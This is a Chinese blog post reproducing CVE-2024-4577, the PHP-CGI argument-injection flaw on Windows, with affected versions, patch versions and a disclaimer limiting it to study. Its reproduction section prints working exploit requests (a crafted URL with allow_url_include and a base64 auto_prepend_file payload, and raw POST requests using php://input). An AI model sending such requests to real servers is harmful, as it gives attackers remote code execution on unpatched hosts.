PHP-CGI Windows平台远程代码执行漏洞(CVE-2024-4577)

news2024/11/19 10:33:22

文章目录

  • 前言
  • 声明
  • 一、简介
  • 二、漏洞描述
  • 三、影响版本
  • 四、漏洞复现
  • 五、漏洞修复


前言

PHP 在设计时忽略 Windows 中对字符转换的Best-Fit 特性,当 PHP-CGI 运行在Window平台且使用了如下语系(简体中文936/繁体中文950/日文932等)时,攻击者可构造恶意请求绕过 CVE-2012-1823 补丁,从而可在无需登陆的情况下执行任意PHP代码


声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


一、简介

PHP是Hypertext Preprocessor(超文本预处理器)的缩写,现是一种广泛使用的开源的脚本语言,它特别适合Web开发和嵌入HTML中,使用起来很简单。

CGI,英文叫做公共网关接口,就是Apache在遇到PHP脚本时会将PHP程序提交给CGI应用程序(php-cgi.exe)解释,解释之后的结果返回给Apache,然后再返回给相应的请求用户。

二、漏洞描述

PHP在设计时忽略了Windows中的Best-Fit字符转换特性。当PHP-CGI在Windows平台上运行并使用特定语系(如简体中文936、繁体中文950、日文932等)时,攻击者可以构造特殊查询字符串。URL解码后,这些字符串可能包含特定非ASCII字符,这些字符在Windows系统上会被映射为连字符,从而绕过CVE-2012-1823及CVE-2012-2311补丁,构造cgi模式的命令行参数,执行任意PHP代码。

三、影响版本

  • PHP Windows版 8.3.0 <= 影响版本 < 8.3.8
  • PHP Windows版 8.2.0 <= 影响版本 < 8.2.20
  • PHP Windows版 8.1.0 <= 影响版本 < 8.1.29
  • PHP Windows版 影响版本 == 8.0.x
  • PHP Windows版 影响版本 == 7.x
  • PHP Windows版 影响版本 == 5.x
  • XAMPP Windows版 8.2.0 <= 影响版本 <= 8.2.12
  • XAMPP Windows版 8.1.0 <= 影响版本 <= 8.1.25
  • XAMPP Windows版 影响版本 == 8.0.x
  • XAMPP Windows版 影响版本 == 7.x
  • XAMPP Windows版 影响版本 == 5.x

四、漏洞复现

服务器环境

XAMPP Windows版 8.2.12

服务端下载并安装 XAMPP:

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

或者自主去这里挑受影响版本:https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

环境启动
在这里插入图片描述
浏览器访问 http://127.0.0.1
在这里插入图片描述
EXP1:

可用于绕过WAF场景 + 默认场景:

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

例如

python CVE-2024-4577-PHP-RCE.py 127.0.0.1:80

EXP2:

可用于SSRF场景 + 默认场景:

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP3:

可用于默认场景:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP4:

可用于默认场景:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

本地复现

RCE获取服务器信息
在这里插入图片描述
获取PHPinfo信息
在这里插入图片描述
脚本探测
在这里插入图片描述

五、漏洞修复

目前,官方已发布修复建议,建议受影响的用户尽快升级至安全版本。

PHP 8.3 >= 8.3.8
PHP 8.2 >= 8.2.20
PHP 8.1 >= 8.1.29

下载地址:https://www.php.net/downloads.php

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1811642.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2024泰迪智能科技大数据实训室方案

大数据实训室的主要目的是培养大数据平台运维项目的实践能力,以数据计算、分析、挖掘和可视化的案例训练为辅助。实训室旨在培养德智体全面发展、遵纪守法、掌握大数据平台运维基本技能、具备大数据应用、分析和系统管理与运维能力的高素质大数据技术人才。 大数据实训室建设的…

python之点云数据读取与可视化

1、前言 将文件中点云数据进行读取进来&#xff0c;并进行数据处理&#xff0c;将处理后的点云数据进行可视化显示&#xff0c;是非常常见的操作。本博客介绍如何将文本形式的点云数据读取进来&#xff0c;并进行可视化展示。 2、点云可视化 点云可视化即将点云数据在三维空间…

GIGE 协议摘录 —— GVSP 协议(三)

系列文章目录 GIGE 学习笔记 GIGE 协议摘录 —— 设备发现&#xff08;一&#xff09; GIGE 协议摘录 —— GVCP 协议&#xff08;二&#xff09; GIGE 协议摘录 —— GVSP 协议&#xff08;三&#xff09; GIGE 协议摘录 —— 引导寄存器&#xff08;四&#xff09; GIGE 协议…

[图解]建模相关的基础知识-08

1 00:00:01,650 --> 00:00:04,950 如果说&#xff0c;A乘BB乘A的话 2 00:00:06,350 --> 00:00:07,140 意味着什么 3 00:00:07,560 --> 00:00:08,420 A就等于B了 4 00:00:09,500 --> 00:00:10,680 只有两个相等 5 00:00:10,690 --> 00:00:13,360 它们的笛卡尔…

回收站照片永久删除找回?教你六个简单恢复方法

误删回收站照片怎么恢复&#xff1f;在使用电脑的时候&#xff0c;经常会遇到一些重要的文件被误删&#xff0c;并在删除之后又执行了清空回收站的操作。对于熟知电脑操作的用户都知道&#xff0c;如果说清空了回收站&#xff0c;恢复的难度相对来讲要大出很多。 那么&#xf…

【Java】解决Java报错:FileNotFoundException

文章目录 引言1. 错误详解2. 常见的出错场景2.1 文件路径错误2.2 文件名拼写错误2.3 文件权限问题2.4 文件路径未正确拼接 3. 解决方案3.1 检查文件路径3.2 使用相对路径和类路径3.3 检查文件权限3.4 使用文件选择器 4. 预防措施4.1 使用配置文件4.2 使用日志记录4.3 使用单元测…

Java--Math类和Random类

1.Math类简介 1.Math类中提供了大量用于数学运算的相关方法。 2.Math类是使用final修饰的终结类&#xff0c;不能产生子类 3.Math类中的方法都是static修饰的静态方法&#xff0c;可以通过类名.方法名直接调用 2.Math常用方法 1.abs(int)&#xff1a;求绝对值(int,long,floa…

5.1 系统模块划分探讨

一&#xff0e;指导思想 系统模块划分是指将一个系统按照功能或业务进行划分&#xff0c;以便于组织和管理系统的开发、维护和扩展。 一般来说&#xff0c;系统模块划分可以根据业务功能、技术层次和逻辑关系等方面进行。 二&#xff0e;理解业务领域 分析业务需求 要分析…

Java的一些补充性介绍

目录 什么是JDK&#xff0c;JRE 快速入门 学习路线&#xff1a; 如何快速掌握技术或知识点&#xff1a; IDEA 常用快捷键 IDEA创建项目、模块、包、类 模板/自定义模板 包 包的命名&#xff1a;​编辑 常用的包 如引入包 断点调试(debug)​编辑 多线程&#xff1a;…

西南交通大学【操作系统实验1】

实验目的 通过本实验了解Linux系统的组织和行为&#xff0c;观察各种存储系统状态信息的内核变量熟悉这些结构和信息 实验内容 理解Linux操作系统以及./proc文件熟悉codeblocks&#xff0c;学习Linux下c程序调试技术根据给定的程序观察cpuinfo/version/stat/uptime编程实现对…

泛微证券行业数据中心方案:打造多样化的数据收集、汇总、分析、决策一体化报表

证券企业在日常办公、业务开展时&#xff0c;涉及了诸多数据需求&#xff0c;而且数据来源于多部门、多个系统。需要对数据获取、汇总、展现进行高效、可视化的操作&#xff0c;高效利用数据价值&#xff0c;助力企业运营更高效、风险更可控。 泛微基于证券行业数字经营分析的需…

【Qt 学习笔记】Qt窗口 | 对话框 | 模态与非模态对话框的创建

博客主页&#xff1a;Duck Bro 博客主页系列专栏&#xff1a;Qt 专栏关注博主&#xff0c;后期持续更新系列文章如果有错误感谢请大家批评指出&#xff0c;及时修改感谢大家点赞&#x1f44d;收藏⭐评论✍ Qt窗口 | 对话框 | 创建模态及非模态对话框 文章编号&#xff1a;Qt 学…

12个Console命令,让js调试更简单

Console 对象用于 JavaScript 调试。JavaScript 原生中默认是没有 Console 对象&#xff0c;这是宿主对象&#xff08;也就是浏览器&#xff09;提供的内置对象。 用于访问调试控制台, 在不同的浏览器里效果可能不同。 Console 对象常见的两个用途&#xff1a; 显示网页代码运…

SAP STO跨公司间转储含POD交货操作简介

STO跨公司间转储含POD交货这个业务常见于集团性的公司&#xff0c; 1、同一个集团下A公司和B公司都是独立的&#xff0c;A公司向B公司进行采购。B公司会有一张交货单&#xff0c;然后基于交货单进行过账&#xff0c;收货&#xff0c;开票等操作。 2、当同一个公司下不同工厂间…

微信支付,微信平台证书如何下载,如何获取平台证书 wxpay如何初次获取平台证书 java初次生成平台证书, java生成微信platform.pem

1. 场景&#xff1a;使用ijpay&#xff0c;调用获取平台证书失败。 属于初次获取平台证书。 注&#xff1a;做返回校验使用&#xff0c;不校验好像也没事&#xff0c;但是支付无小事&#xff0c;强烈建议获取平台证书&#xff0c;校验后做回调相关处理&#xff01;&#xff01;…

【iOS】YYModel源码阅读笔记

文章目录 前言一、JSON转换库对比二、YYModel性能优化三、YYModel的使用四、架构分析YYClassInfo 剖析 五、流程剖析转换前准备工作 – 将JSON统一成NSDictionary将NSDictionary 转换为Model对象提取Model信息使用NSDictionary的数据填充Model 总结 前言 先前写了JSONModel的源…

学习了解 JSON Schema

在数字时代&#xff0c;数据的快速增长要求开发者掌握有效的管理和验证技术。JSON&#xff08;JavaScript Object Notation&#xff09; 是一种流行的轻量级数据交换格式&#xff0c;在网络编程中有广泛应用。为了应对复杂数据的挑战&#xff0c;JSON Schema 诞生&#xff0c;提…

C++九州控制地址结构else 陈述

else如同英文字义&#xff0c;九州qa98錪cc否则的意思&#xff0c;通常放在if的后面&#xff0c;若if的条件为真&#xff0c;就执行if底下大括弧围起来的程式区块&#xff0c;若为假&#xff0c;就执行else底下大括弧围起来的程式区块。 形式如下&#xff1a; 这个概念用于二选…

PostgreSQL Schema管理基础

Postgresql schema是什么、为什么它们很重要以及如何使用schema(模式)使您的数据库实现更加健壮和可维护&#xff1f;本文将介绍 Postgresql 中schema的基础知识&#xff0c;并通过一些基本示例向您展示如何创建它们。未来的文章将深入探讨如何保护和使用实际应用程序schema的示…

[linux]基于Ubuntu24.04原内核6.8.0升级到6.9.0

物理机操作系统&#xff1a; 虚拟机操作系统&#xff1a; Ubuntu 24.04 下载地址&#xff1a; https://mirror.nju.edu.cn/ubuntu-releases/24.04/ubuntu-24.04-desktop-amd64.iso VM版本信息&#xff1a; 内核源代码来源&#xff1a; https://ftp.sjtu.edu.cn/sites/ftp.kern…